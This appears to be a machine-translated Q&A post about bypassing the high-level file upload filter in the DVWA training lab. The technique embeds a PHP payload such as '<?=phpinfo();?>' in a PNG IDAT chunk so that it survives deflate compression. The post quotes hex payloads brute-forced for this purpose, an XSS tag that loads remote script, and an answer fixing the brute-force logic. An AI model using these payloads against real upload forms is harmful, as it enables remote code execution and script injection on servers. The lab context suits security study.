我正在研究关于文件上传高漏洞的DVWA。我想绕过过滤器,只允许上传像jpg或png这样的图像。所以我打算将有效负载<?=phpinfo();
嵌入到图像文件中。在搜索之后,我发现了这些伟大的博客:
我太懒于研究Deflate算法并搜索png shell生成器并找到了这个很棒的存储库:
克隆并运行后,效果很好。但有效载荷适用于XSS Vuln output here:
<SCRIPT SRC=//ABC.DE></SCRIPT>
我想完成DVWA的目标。它说
由于此文件上传漏洞,在目标系统上执行您选择的任何PHP函数(例如phpinfo()或system())。
因此,我想要的有效载荷是:<?=phpinfo();?>
嵌入在PNG的IDAT块上,该有效载荷从IDAT上的过滤器和压缩中幸存下来。从存储库中,我找到了之前由f1n1te / idontplaydarts博客描述的bruteforce()逻辑。我复制源代码并尝试使用我的有效负载here进行强制缩减压缩但是对符号字符失败。基于源/生成器,我有2个问题:
在3个博客&amp;我找到了1个存储库,这些存储库使用这个有效负载来暴力破坏:
7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f
- f1n1te
f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f
- 亚当
03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310
- idontplaydarts
0000f399281922111510691928276e6e5313241e1f576e69b16375535b6f0000
- 存储库
这些家伙如何将所有这些有效负载转移到暴力Deflate Compression?
答案 0 :(得分:1)
暴力破坏因为它太短了。你需要5个半字节,而不仅仅是4.我用箭头标记了额外的数字。
0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//PH></script>\3\3\0w\314\10)"
0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//<?></script>\3\3\0w\314\10)"
↑
该程序还包含一个错误,可以防止它完全耗尽搜索空间。 sprintf的格式说明符必须为零填充,否则hexdigit字符串太短;换句话说,在原始程序中,它必须是%04x
,而不是%x
。